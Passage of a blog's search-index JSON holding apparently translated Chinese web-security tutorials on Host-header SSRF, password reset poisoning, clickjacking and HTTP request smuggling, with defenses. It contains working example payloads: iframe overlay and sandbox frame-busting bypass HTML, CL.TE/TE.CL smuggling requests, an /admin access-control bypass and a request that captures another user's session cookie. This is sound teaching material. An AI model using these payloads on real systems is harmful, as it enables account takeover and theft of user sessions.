","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/:2:5","tags":[],"title":"Exploiting HTTP Host header vulnerabilities","uri":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/"},{"categories":["web security"],"content":"基于路由的 SSRF 有时还可能使用 Host 头发起高影响、基于路由的 SSRF 攻击。这有时被称为 “Host header SSRF attacks” 。 经典的 SSRF 漏洞通常基于 XXE 或可利用的业务逻辑,该逻辑将 HTTP 请求发送到从用户可控制的输入派生的 URL 。另一方面,基于路由的 SSRF 依赖于利用在许多基于云的架构中流行的中间组件。这包括内部负载均衡器和反向代理。 尽管这些组件部署的目的不同,但基本上,它们都会接收请求并将其转发到适当的后端。如果它们被不安全地配置,转发未验证 Host 头的请求,它们就可能被操纵以将请求错误地路由到攻击者选择的任意系统。 这些系统是很好的目标,它们处于一个特权网络位置,这使它们可以直接从公共网络接收请求,同时还可以访问许多、但不是全部的内部网络。这使得 Host 头成为 SSRF 攻击的强大载体,有可能将一个简单的负载均衡器转换为通向整个内部网络的网关。 你可以使用 Burp Collaborator 来帮助识别这些漏洞。如果你在 Host 头中提供 Collaborator 服务器的域,并且随后从目标服务器或其他路径内的系统收到了 DNS 查询,则表明你可以将请求路由到任意域。 在确认可以成功地操纵中介系统以将请求路由到任意公共服务器之后,下一步是查看能否利用此行为访问内部系统。为此,你需要标识在目标内部网络上使用的私有 IP 地址。除了应用程序泄漏的 IP 地址外,你还可以扫描属于该公司的主机名,以查看是否有解析为私有 IP 地址的情况。如果其他方法都失败了,你仍然可以通过简单地强制使用标准私有 IP 范围(例如 192.168.0.0/16 )来识别有效的 IP 地址。 通过格式错误的请求行进行 SSRF 自定义代理有时无法正确地验证请求行,这可能会使你提供异常的、格式错误的输入,从而带来不幸的结果。 例如,反向代理可能从请求行获取路径,然后加上了前缀 http://backend-server,并将请求路由到上游 URL 。如果路径以 / 开头,这没有问题,但如果以 @ 开头呢? GET @private-intranet/example HTTP/1.1 此时,上游的 URL 将是 http://backend-server@private-intranet/example,大多数 HTTP 库将认为访问的是 private-intranet 且用户名是 backend-server。 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/:2:6","tags":[],"title":"Exploiting HTTP Host header vulnerabilities","uri":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/"},{"categories":["web security"],"content":"Password reset poisoning","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/password-reset-poisoning/","tags":[],"title":"Password reset poisoning","uri":"/translation/web-security/http-host-header-attacks/password-reset-poisoning/"},{"categories":["web security"],"content":"Password reset poisoning 密码重置中毒是一种技术,攻击者可以利用该技术来操纵易受攻击的网站,以生成指向其控制下的域的密码重置链接。这种行为可以用来窃取重置任意用户密码所需的秘密令牌,并最终危害他们的帐户。 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/password-reset-poisoning/:0:0","tags":[],"title":"Password reset poisoning","uri":"/translation/web-security/http-host-header-attacks/password-reset-poisoning/"},{"categories":["web security"],"content":"密码重置是如何工作的 几乎所有需要登录的网站都实现了允许用户在忘记密码时重置密码的功能。实现这个功能有好几种方法,其中一个最常见的方法是: 用户输入用户名或电子邮件地址,然后提交密码重置请求。 网站检查该用户是否存在,然后生成一个临时的、唯一的、高熵的 token 令牌,并在后端将该令牌与用户的帐户相关联。 网站向用户发送一封包含重置密码链接的电子邮件。用户的 token 令牌作为 query 参数包含在相应的 URL 中,如 https://normal-website.com/reset?token=0a1b2c3d4e5f6g7h8i9j。 当用户访问此 URL 时,网站会检查所提供的 token 令牌是否有效,并使用它来确定要重置的帐户。如果一切正常,用户就可以设置新密码了。最后,token 令牌被销毁。 与其他一些方法相比,这个过程足够简单并且相对安全。然而,它的安全性依赖于这样一个前提:只有目标用户才能访问他们的电子邮件收件箱,从而使用他们的 token 令牌。而密码重置中毒就是一种窃取此 token 令牌以更改其他用户密码的方法。 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/password-reset-poisoning/:1:0","tags":[],"title":"Password reset poisoning","uri":"/translation/web-security/http-host-header-attacks/password-reset-poisoning/"},{"categories":["web security"],"content":"如何构造一个密码重置中毒攻击 如果发送给用户的 URL 是基于可控制的输入(例如 Host 头)动态生成的,则可以构造如下所示的密码重置中毒攻击: 攻击者根据需要获取受害者的电子邮件地址或用户名,并代表受害者提交密码重置请求,但是这个请求被修改了 Host 头,以指向他们控制的域。我们假设使用的是 evil-user.net 。 受害者收到了网站发送的真实的密码重置电子邮件,其中包含一个重置密码的链接,以及与他们的帐户相关联的 token 令牌。但是,URL 中的域名指向了攻击者的服务器:https://evil-user.net/reset?token=0a1b2c3d4e5f6g7h8i9j 。 如果受害者点击了此链接,则密码重置的 token 令牌将被传递到攻击者的服务器。 攻击者现在可以访问网站的真实 URL ,并使用盗取的受害者的 token 令牌,将用户的密码重置为自己的密码,然后就可以登录到用户的帐户了。 在真正的攻击中,攻击者可能会伪造一个假的警告通知来提高受害者点击链接的概率。 即使不能控制密码重置的链接,有时也可以使用 Host 头将 HTML 注入到敏感的电子邮件中。请注意,电子邮件客户端通常不执行 JavaScript ,但其他 HTML 注入技术如悬挂标记攻击可能仍然适用。 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/password-reset-poisoning/:2:0","tags":[],"title":"Password reset poisoning","uri":"/translation/web-security/http-host-header-attacks/password-reset-poisoning/"},{"categories":["web security"],"content":"web 安全之 Clickjacking ( UI redressing )","date":"2021-03-05","objectID":"/translation/web-security/clickjacking/clickjacking/","tags":[],"title":"web 安全之 Clickjacking","uri":"/translation/web-security/clickjacking/clickjacking/"},{"categories":["web security"],"content":"Clickjacking ( UI redressing ) 在本节中,我们将解释什么是 clickjacking 点击劫持,并描述常见的点击劫持攻击示例,以及讨论如何防御这些攻击。 ","date":"2021-03-05","objectID":"/translation/web-security/clickjacking/clickjacking/:0:0","tags":[],"title":"web 安全之 Clickjacking","uri":"/translation/web-security/clickjacking/clickjacking/"},{"categories":["web security"],"content":"什么是点击劫持 点击劫持是一种基于界面的攻击,通过诱导用户点击钓鱼网站中的被隐藏了的可操作的危险内容。 例如:某个用户被诱导访问了一个钓鱼网站(可能是点击了电子邮件中的链接),然后点击了一个赢取大奖的按钮。实际情况则是,攻击者在这个赢取大奖的按钮下面隐藏了另一个网站上向其他账户进行支付的按钮,而结果就是用户被诱骗进行了支付。这就是一个点击劫持攻击的例子。这项技术实际上就是通过 iframe 合并两个页面,真实操作的页面被隐藏,而诱骗用户点击的页面则显示出来。点击劫持攻击与 CSRF 攻击的不同之处在于,点击劫持需要用户执行某种操作,比如点击按钮,而 CSRF 则是在用户不知情或者没有输入的情况下伪造整个请求。 针对 CSRF 攻击的防御措施通常是使用 CSRF token(针对特定会话、一次性使用的随机数)。而点击劫持无法则通过 CSRF token 缓解攻击,因为目标会话是在真实网站加载的内容中建立的,并且所有请求均在域内发生。CSRF token 也会被放入请求中,并作为正常行为的一部分传递给服务器,与普通会话相比,差异就在于该过程发生在隐藏的 iframe 中。 ","date":"2021-03-05","objectID":"/translation/web-security/clickjacking/clickjacking/:1:0","tags":[],"title":"web 安全之 Clickjacking","uri":"/translation/web-security/clickjacking/clickjacking/"},{"categories":["web security"],"content":"如何构造一个基本的点击劫持攻击 点击劫持攻击使用 CSS 创建和操作图层。攻击者将目标网站通过 iframe 嵌入并隐藏。使用样式标签和参数的示例如下: \u003chead\u003e \u003cstyle\u003e #target_website { position:relative; width:128px; height:128px; opacity:0.00001; z-index:2; } #decoy_website { position:absolute; width:300px; height:400px; z-index:1; } \u003c/style\u003e \u003c/head\u003e ... \u003cbody\u003e \u003cdiv id=\"decoy_website\"\u003e ...decoy web content here... \u003c/div\u003e \u003ciframe id=\"target_website\" src=\"https://vulnerable-website.com\"\u003e \u003c/iframe\u003e \u003c/body\u003e 目标网站 iframe 被定位在浏览器中,使用适当的宽度和高度位置值将目标动作与诱饵网站精确重叠。无论屏幕大小,浏览器类型和平台如何,绝对位置值和相对位置值均用于确保目标网站准确地与诱饵重叠。z-index 决定了 iframe 和网站图层的堆叠顺序。透明度被设置为零,因此 iframe 内容对用户是透明的。浏览器可能会基于 iframe 透明度进行阈值判断从而自动进行点击劫持保护(例如,Chrome 76 包含此行为,但 Firefox 没有),但攻击者仍然可以选择适当的透明度值,以便在不触发此保护行为的情况下获得所需的效果。 ","date":"2021-03-05","objectID":"/translation/web-security/clickjacking/clickjacking/:2:0","tags":[],"title":"web 安全之 Clickjacking","uri":"/translation/web-security/clickjacking/clickjacking/"},{"categories":["web security"],"content":"预填写输入表单 一些需要表单填写和提交的网站允许在提交之前使用 GET 参数预先填充表单输入。由于 GET 参数在 URL 中,那么攻击者可以直接修改目标 URL 的值,并将透明的“提交”按钮覆盖在诱饵网站上。 ","date":"2021-03-05","objectID":"/translation/web-security/clickjacking/clickjacking/:3:0","tags":[],"title":"web 安全之 Clickjacking","uri":"/translation/web-security/clickjacking/clickjacking/"},{"categories":["web security"],"content":"Frame 拦截脚本 只要网站可以被 frame ,那么点击劫持就有可能发生。因此,预防性技术的基础就是限制网站 frame 的能力。比较常见的客户端保护措施就是使用 web 浏览器的 frame 拦截或清理脚本,比如浏览器的插件或扩展程序,这些脚本通常是精心设计的,以便执行以下部分或全部行为: 检查并强制当前窗口是主窗口或顶部窗口 使所有 frame 可见。 阻止点击可不见的 frame。 拦截并标记对用户的潜在点击劫持攻击。 Frame 拦截技术一般特定于浏览器和平台,且由于 HTML 的灵活性,它们通常也可以被攻击者规避。由于这些脚本也是 JavaScript ,浏览器的安全设置也可能会阻止它们的运行,甚至浏览器直接不支持 JavaScript 。攻击者也可以使用 HTML5 iframe 的 sandbox 属性去规避 frame 拦截。当 iframe 的 sandbox 设置为 allow-forms 或 allow-scripts,且 allow-top-navigation 被忽略时,frame 拦截脚本可能就不起作用了,因为 iframe 无法检查它是否是顶部窗口: \u003ciframe id=\"victim_website\" src=\"https://victim-website.com\" sandbox=\"allow-forms\"\u003e\u003c/iframe\u003e 当 iframe 的 allow-forms 和 allow-scripts 被设置,且 top-level 导航被禁用,这会抑制 frame 拦截行为,同时允许目标站内的功能。 ","date":"2021-03-05","objectID":"/translation/web-security/clickjacking/clickjacking/:4:0","tags":[],"title":"web 安全之 Clickjacking","uri":"/translation/web-security/clickjacking/clickjacking/"},{"categories":["web security"],"content":"结合使用点击劫持与 DOM XSS 攻击 到目前为止,我们把点击劫持看作是一种独立的攻击。从历史上看,点击劫持被用来执行诸如在 Facebook 页面上增加“点赞”之类的行为。然而,当点击劫持被用作另一种攻击的载体,如 DOM XSS 攻击,才能发挥其真正的破坏性。假设攻击者首先发现了 XSS 攻击的漏洞,则实施这种组合攻击就很简单了,只需要将 iframe 的目标 URL 结合 XSS ,以使用户点击按钮或链接,从而执行 DOM XSS 攻击。 ","date":"2021-03-05","objectID":"/translation/web-security/clickjacking/clickjacking/:5:0","tags":[],"title":"web 安全之 Clickjacking","uri":"/translation/web-security/clickjacking/clickjacking/"},{"categories":["web security"],"content":"多步骤点击劫持 攻击者操作目标网站的输入可能需要执行多个操作。例如,攻击者可能希望诱骗用户从零售网站购买商品,而在下单之前还需要将商品添加到购物篮中。为了实现这些操作,攻击者可能使用多个视图或 iframe ,这也需要相当的精确性,攻击者必须非常小心。 ","date":"2021-03-05","objectID":"/translation/web-security/clickjacking/clickjacking/:6:0","tags":[],"title":"web 安全之 Clickjacking","uri":"/translation/web-security/clickjacking/clickjacking/"},{"categories":["web security"],"content":"如何防御点击劫持攻击 我们在上文中已经讨论了一种浏览器端的预防机制,即 frame 拦截脚本。然而,攻击者通常也很容易绕过这种防御。因此,服务端驱动的协议被设计了出来,以限制浏览器 iframe 的使用并减轻点击劫持的风险。 点击劫持是一种浏览器端的行为,它的成功与否取决于浏览器的功能以及是否遵守现行 web 标准和最佳实践。服务端的防御措施就是定义 iframe 组件使用的约束,然而,其实现仍然取决于浏览器是否遵守并强制执行这些约束。服务端针对点击劫持的两种保护机制分别是 X-Frame-Options 和 Content Security Policy 。 ","date":"2021-03-05","objectID":"/translation/web-security/clickjacking/clickjacking/:7:0","tags":[],"title":"web 安全之 Clickjacking","uri":"/translation/web-security/clickjacking/clickjacking/"},{"categories":["web security"],"content":"X-Frame-Options X-Frame-Options 最初由 IE8 作为非官方的响应头引入,随后也在其他浏览器中被迅速采用。X-Frame-Options 头为网站所有者提供了对 iframe 使用的控制(就是说第三方网站不能随意的使用 iframe 嵌入你控制的网站),比如你可以使用 deny 直接拒绝所有 iframe 引用你的网站: X-Frame-Options: deny 或者使用 sameorigin 限制为只有同源网站可以引用: X-Frame-Options: sameorigin 或者使用 allow-from 指定白名单: X-Frame-Options: allow-from https://normal-website.com X-Frame-Options 在不同浏览器中的实现并不一致(比如,Chrome 76 或 Safari 12 不支持 allow-from)。然而,作为多层防御策略中的一部分,其与 Content Security Policy 结合使用时,可以有效地防止点击劫持攻击。 ","date":"2021-03-05","objectID":"/translation/web-security/clickjacking/clickjacking/:8:0","tags":[],"title":"web 安全之 Clickjacking","uri":"/translation/web-security/clickjacking/clickjacking/"},{"categories":["web security"],"content":"Content Security Policy Content Security Policy (CSP) 内容安全策略是一种检测和预防机制,可以缓解 XSS 和点击劫持等攻击。CSP 通常是由 web 服务作为响应头返回,格式为: Content-Security-Policy: policy 其中的 policy 是一个由分号分隔的策略指令字符串。CSP 向客户端浏览器提供有关允许的 Web 资源来源的信息,浏览器可以将这些资源应用于检测和拦截恶意行为。 有关点击劫持的防御,建议在 Content-Security-Policy 中增加 frame-ancestors 策略。 frame-ancestors 'none' 类似于 X-Frame-Options: deny ,表示拒绝所有 iframe 引用。 frame-ancestors 'self' 类似于 X-Frame-Options: sameorigin ,表示只允许同源引用。 示例: Content-Security-Policy: frame-ancestors 'self'; 或者指定网站白名单: Content-Security-Policy: frame-ancestors normal-website.com; 为了有效地防御点击劫持和 XSS 攻击,CSP 需要进行仔细的开发、实施和测试,并且应该作为多层防御策略中的一部分使用。 ","date":"2021-03-05","objectID":"/translation/web-security/clickjacking/clickjacking/:9:0","tags":[],"title":"web 安全之 Clickjacking","uri":"/translation/web-security/clickjacking/clickjacking/"},{"categories":["web security"],"content":"web 安全之 HTTP request smuggling","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/http-request-smuggling/","tags":[],"title":"web 安全之 HTTP request smuggling","uri":"/translation/web-security/request-smuggling/http-request-smuggling/"},{"categories":["web security"],"content":"HTTP request smuggling 在本节中,我们将解释什么是 HTTP 请求走私,并描述常见的请求走私漏洞是如何产生的。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/http-request-smuggling/:0:0","tags":[],"title":"web 安全之 HTTP request smuggling","uri":"/translation/web-security/request-smuggling/http-request-smuggling/"},{"categories":["web security"],"content":"什么是 HTTP 请求走私 HTTP 请求走私是一种干扰网站处理多个 HTTP 请求序列的技术。请求走私漏洞危害很大,它使攻击者可以绕过安全控制,未经授权访问敏感数据并直接危害其他应用程序用户。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/http-request-smuggling/:1:0","tags":[],"title":"web 安全之 HTTP request smuggling","uri":"/translation/web-security/request-smuggling/http-request-smuggling/"},{"categories":["web security"],"content":"HTTP 请求走私到底发生了什么 现在的应用架构中经常会使用诸如负载均衡、反向代理、网关等服务,这些服务在链路上起到了一个转发请求给后端服务器的作用,因为位置位于后端服务器的前面,所以本文把他们称为前端服务器。 当前端服务器(转发服务)将 HTTP 请求转发给后端服务器时,它通常会通过与后端服务器之间的同一个网络连接发送多个请求,因为这样做更加高效。协议非常简单:HTTP 请求被一个接一个地发送,接受请求的服务器则解析 HTTP 请求头以确定一个请求的结束位置和下一个请求的开始位置,如下图所示: 在这种情况下,前端服务器(转发服务)与后端系统必须就请求的边界达成一致。否则,攻击者可能会发送一个模棱两可的请求,该请求被前端服务器(转发服务)与后端系统以不同的方式解析: 如上图所示,攻击者使上一个请求的一部分被后端服务器解析为下一个请求的开始,这时就会干扰应用程序处理该请求的方式。这就是请求走私攻击,其可能会造成毁灭性的后果。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/http-request-smuggling/:2:0","tags":[],"title":"web 安全之 HTTP request smuggling","uri":"/translation/web-security/request-smuggling/http-request-smuggling/"},{"categories":["web security"],"content":"HTTP 请求走私漏洞是怎么产生的 绝大多数 HTTP 请求走私漏洞的出现是因为 HTTP 规范提供了两种不同的方法来指定请求的结束位置:Content-Length 头和 Transfer-Encoding 头。 Content-Length 头很简单,直接以字节为单位指定消息体的长度。例如: POST /search HTTP/1.1 Host: normal-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 11 q=smuggling Transfer-Encoding 头则可以声明消息体使用了 chunked 编码,就是消息体被拆分成了一个或多个分块传输,每个分块的开头是当前分块大小(以十六进制表示),后面紧跟着 \\r\\n,然后是分块内容,后面也是 \\r\\n。消息的终止分块也是同样的格式,只是其长度为零。例如: POST /search HTTP/1.1 Host: normal-website.com Content-Type: application/x-www-form-urlencoded Transfer-Encoding: chunked b q=smuggling 0 由于 HTTP 规范提供了两种不同的方法来指定 HTTP 消息的长度,因此单个消息中完全可以同时使用这两种方法,从而使它们相互冲突。HTTP 规范为了避免这种歧义,其声明如果 Content-Length 和 Transfer-Encoding 同时存在,则 Content-Length 应该被忽略。当只有一个服务运行时,这种歧义似乎可以避免,但是当多个服务被连接在一起时,这种歧义就无法避免了。在这种情况下,出现问题有两个原因: 某些服务器不支持请求中的 Transfer-Encoding 头。 某些服务器虽然支持 Transfer-Encoding 头,但是可以通过某种方式进行混淆,以诱导不处理此标头。 如果前端服务器(转发服务)和后端服务器处理 Transfer-Encoding 的行为不同,则它们可能在连续请求之间的边界上存在分歧,从而导致请求走私漏洞。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/http-request-smuggling/:3:0","tags":[],"title":"web 安全之 HTTP request smuggling","uri":"/translation/web-security/request-smuggling/http-request-smuggling/"},{"categories":["web security"],"content":"如何进行 HTTP 请求走私攻击 请求走私攻击需要在 HTTP 请求头中同时使用 Content-Length 和 Transfer-Encoding,以使前端服务器(转发服务)和后端服务器以不同的方式处理该请求。具体的执行方式取决于两台服务器的行为: CL.TE:前端服务器(转发服务)使用 Content-Length 头,而后端服务器使用 Transfer-Encoding 头。 TE.CL:前端服务器(转发服务)使用 Transfer-Encoding 头,而后端服务器使用 Content-Length 头。 TE.TE:前端服务器(转发服务)和后端服务器都使用 Transfer-Encoding 头,但是可以通过某种方式混淆标头来诱导其中一个服务器不对其进行处理。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/http-request-smuggling/:4:0","tags":[],"title":"web 安全之 HTTP request smuggling","uri":"/translation/web-security/request-smuggling/http-request-smuggling/"},{"categories":["web security"],"content":"CL.TE 漏洞 前端服务器(转发服务)使用 Content-Length 头,而后端服务器使用 Transfer-Encoding 头。我们可以构造一个简单的 HTTP 请求走私攻击,如下所示: POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 13 Transfer-Encoding: chunked 0 SMUGGLED 前端服务器(转发服务)使用 Content-Length 确定这个请求体的长度是 13 个字节,直到 SMUGGLED 的结尾。然后请求被转发给了后端服务器。 后端服务器使用 Transfer-Encoding ,把请求体当成是分块的,然后处理第一个分块,刚好又是长度为零的终止分块,因此直接认为消息结束了,而后面的 SMUGGLED 将不予处理,并将其视为下一个请求的开始。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/http-request-smuggling/:4:1","tags":[],"title":"web 安全之 HTTP request smuggling","uri":"/translation/web-security/request-smuggling/http-request-smuggling/"},{"categories":["web security"],"content":"TE.CL 漏洞 前端服务器(转发服务)使用 Transfer-Encoding 头,而后端服务器使用 Content-Length 头。我们可以构造一个简单的 HTTP 请求走私攻击,如下所示: POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 3 Transfer-Encoding: chunked 8 SMUGGLED 0 注意:上面的 0 后面还有 \\r\\n\\r\\n 。 前端服务器(转发服务)使用 Transfer-Encoding 将消息体当作分块编码,第一个分块的长度是 8 个字节,内容是 SMUGGLED,第二个分块的长度是 0 ,也就是终止分块,所以这个请求到这里终止,然后被转发给了后端服务。 后端服务使用 Content-Length ,认为消息体只有 3 个字节,也就是 8\\r\\n,而剩下的部分将不会处理,并视为下一个请求的开始。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/http-request-smuggling/:4:2","tags":[],"title":"web 安全之 HTTP request smuggling","uri":"/translation/web-security/request-smuggling/http-request-smuggling/"},{"categories":["web security"],"content":"TE.TE 混淆 TE 头 前端服务器(转发服务)和后端服务器都使用 Transfer-Encoding 头,但是可以通过某种方式混淆标头来诱导其中一个服务器不对其进行处理。 混淆 Transfer-Encoding 头的方式可能无穷无尽。例如: Transfer-Encoding: xchunked Transfer-Encoding : chunked Transfer-Encoding: chunked Transfer-Encoding: x Transfer-Encoding:[tab]chunked [space]Transfer-Encoding: chunked X: X[\\n]Transfer-Encoding: chunked Transfer-Encoding : chunked 这些技术中的每一种都与 HTTP 规范有细微的不同。实现协议规范的实际代码很少以绝对的精度遵守协议规范,并且不同的实现通常会容忍与协议规范的不同变化。要找到 TE.TE 漏洞,必须找到 Transfer-Encoding 标头的某种变体,以便前端服务器(转发服务)或后端服务器其中之一正常处理,而另外一个服务器则将其忽略。 根据可以混淆诱导不处理 Transfer-Encoding 的是前端服务器(转发服务)还是后端服务,而后的攻击方式则与 CL.TE 或 TE.CL 漏洞相同。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/http-request-smuggling/:5:0","tags":[],"title":"web 安全之 HTTP request smuggling","uri":"/translation/web-security/request-smuggling/http-request-smuggling/"},{"categories":["web security"],"content":"如何防御 HTTP 请求走私漏洞 当前端服务器(转发服务)通过同一个网络连接将多个请求转发给后端服务器,且前端服务器(转发服务)与后端服务器对请求边界存在不一致的判定时,就会出现 HTTP 请求走私漏洞。防御 HTTP 请求走私漏洞的一些通用方法如下: 禁用到后端服务器连接的重用,以便每个请求都通过单独的网络连接发送。 对后端服务器连接使用 HTTP/2 ,因为此协议可防止对请求之间的边界产生歧义。 前端服务器(转发服务)和后端服务器使用完全相同的 Web 软件,以便它们就请求之间的界限达成一致。 在某些情况下,可以通过使前端服务器(转发服务)规范歧义请求或使后端服务器拒绝歧义请求并关闭网络连接来避免漏洞。然而这种方法比上面的通用方法更容易出错。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/http-request-smuggling/:6:0","tags":[],"title":"web 安全之 HTTP request smuggling","uri":"/translation/web-security/request-smuggling/http-request-smuggling/"},{"categories":["web security"],"content":"Exploiting request smuggling","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/exploiting-request-smuggling/","tags":[],"title":"Exploiting request smuggling","uri":"/translation/web-security/request-smuggling/exploiting-request-smuggling/"},{"categories":["web security"],"content":"利用 HTTP 请求走私漏洞 在本节中,我们将描述 HTTP 请求走私漏洞的几种利用方法,这也取决于应用程序的预期功能和其他行为。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/exploiting-request-smuggling/:0:0","tags":[],"title":"Exploiting request smuggling","uri":"/translation/web-security/request-smuggling/exploiting-request-smuggling/"},{"categories":["web security"],"content":"利用 HTTP 请求走私漏洞绕过前端服务器(转发服务)安全控制 在某些应用程序中,前端服务器(转发服务)不仅用来转发请求,也用来实现了一些安全控制,以决定单个请求能否被转发到后端处理,而后端服务认为接受到的所有请求都已经通过了安全验证。 假设,某个应用程序使用前端服务器(转发服务)来做访问控制,只有当用户被授权访问的请求才会被转发给后端服务器,后端服务器接受的所有请求都无需进一步检查。在这种情况下,可以使用 HTTP 请求走私漏洞绕过访问控制,将请求走私到后端服务器。 假设当前用户可以访问 /home ,但不能访问 /admin 。他们可以使用以下请求走私攻击绕过此限制: POST /home HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 62 Transfer-Encoding: chunked 0 GET /admin HTTP/1.1 Host: vulnerable-website.com Foo: xGET /home HTTP/1.1 Host: vulnerable-website.com 前端服务器(转发服务)将其视为一个请求,然后进行访问验证,由于用户拥有访问 /home 的权限,因此把请求转发给后端服务器。然而,后端服务器则将其视为 /home 和 /admin 两个单独的请求,并且认为请求都通过了权限验证,此时 /admin 的访问控制实际上就被绕过了。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/exploiting-request-smuggling/:1:0","tags":[],"title":"Exploiting request smuggling","uri":"/translation/web-security/request-smuggling/exploiting-request-smuggling/"},{"categories":["web security"],"content":"前端服务器(转发服务)对请求重写 在许多应用程序中,请求被转发给后端服务之前会进行一些重写,通常是添加一些额外的请求头之类的。例如,转发请求重写可能: 终止 TLS 连接并添加一些描述使用的协议和密钥之类的头。 添加 X-Forwarded-For 头用来标记用户的 IP 地址。 根据用户的会话令牌确定用户 ID ,并添加用于标识用户的头。 添加一些其他攻击感兴趣的敏感信息。 在某些情况下,如果你走私的请求缺少一些前端服务器(转发服务)添加的头,那么后端服务可能不会正常处理,从而导致走私请求无法达到预期的效果。 通常有一些简单的方法可以准确地得知前端服务器(转发服务)是如何重写请求的。为此,需要执行以下步骤: 找到一个将请求参数的值反映到应用程序响应中的 POST 请求。 随机排列参数,以使反映的参数出现在消息体的最后。 将这个请求走私到后端服务器,然后直接发送一个要显示其重写形式的普通请求。 假设应用程序有个登录的功能,其会反映 email 参数: POST /login HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 28 email=wiener@normal-user.net 响应内容包括: \u003cinput id=\"email\" value=\"wiener@normal-user.net\" type=\"text\"\u003e 此时,你可以使用以下请求走私攻击来揭示前端服务器(转发服务)对请求的重写: POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 130 Transfer-Encoding: chunked 0 POST /login HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 100 email=POST /login HTTP/1.1 Host: vulnerable-website.com ... 前端服务器(转发服务)将会重写请求以添加标头,然后后端服务器将处理走私请求,并将第二个请求当作 email 参数的值,且在响应中反映出来: \u003cinput id=\"email\" value=\"POST /login HTTP/1.1 Host: vulnerable-website.com X-Forwarded-For: 1.3.3.7 X-Forwarded-Proto: https X-TLS-Bits: 128 X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256 X-TLS-Version: TLSv1.2 x-nr-external-service: external ... 注意:由于最后的请求正在重写,你不知道它需要多长时间结束。走私请求中的 Content-Length 头的值将决定后端服务器处理请求的时间。如果将此值设置得太短,则只会收到部分重写请求;如果设置得太长,后端服务器将会等待超时。当然,解决方案是猜测一个比提交的请求稍大一点的初始值,然后逐渐增大该值以检索更多信息,直到获得感兴趣的所有内容。 一旦了解了转发服务器如何重写请求,就可以对走私的请求进行必要的调整,以确保后端服务器以预期的方式对其进行处理。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/exploiting-request-smuggling/:2:0","tags":[],"title":"Exploiting request smuggling","uri":"/translation/web-security/request-smuggling/exploiting-request-smuggling/"},{"categories":["web security"],"content":"捕获其他用户的请求 如果应用程序包含存储和检索文本数据的功能,那么可以使用 HTTP 请求走私去捕获其他用户请求的内容。这些内容可能包括会话令牌(捕获后可以进行会话劫持攻击),或其他用户提交的敏感数据。被攻击的功能通常有评论、电子邮件、个人资料、显示昵称等等。 要进行攻击,您需要走私一个将数据提交到存储功能的请求,其中包含该数据的参数位于请求的最后。后端服务器处理的下一个请求将追加到走私请求后,结果将存储另一个用户的原始请求。 假设某个应用程序通过如下请求提交博客帖子评论,该评论将存储并显示在博客上: POST /post/comment HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 154 Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0\u0026postId=2\u0026comment=My+comment\u0026name=Carlos+Montoya\u0026email=carlos%40normal-user.net\u0026website=https%3A%2F%2Fnormal-user.net 你可以执行以下请求走私攻击,目的是让后端服务器将下一个用户请求当作评论内容进行存储并展示: GET / HTTP/1.1 Host: vulnerable-website.com Transfer-Encoding: chunked Content-Length: 324 0 POST /post/comment HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 400 Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0\u0026postId=2\u0026name=Carlos+Montoya\u0026email=carlos%40normal-user.net\u0026website=https%3A%2F%2Fnormal-user.net\u0026comment= 当下一个用户请求被后端服务器处理时,它将被附加到走私的请求后,结果就是用户的请求,包括会话 cookie 和其他敏感信息会被当作评论内容处理: POST /post/comment HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 400 Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0\u0026postId=2\u0026name=Carlos+Montoya\u0026email=carlos%40normal-user.net\u0026website=https%3A%2F%2Fnormal-user.net\u0026comment=GET / HTTP/1.1 Host: vulnerable-website.com Cookie: session=jJNLJs2RKpbg9EQ7iWrcfzwaTvMw81Rj ... 最后,直接通过正常的查看评论的方式就能看到其他用户请求的详细信息了。 注意:这种技术的局限性是,它通常只会捕获一直到走私请求边界符的数据。对于 URL 编码的表单提交,其是 \u0026 字符,这意味着存储的受害用户的请求是直到第一个 \u0026 之间的内容。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/exploiting-request-smuggling/:3:0","tags":[],"title":"Exploiting request 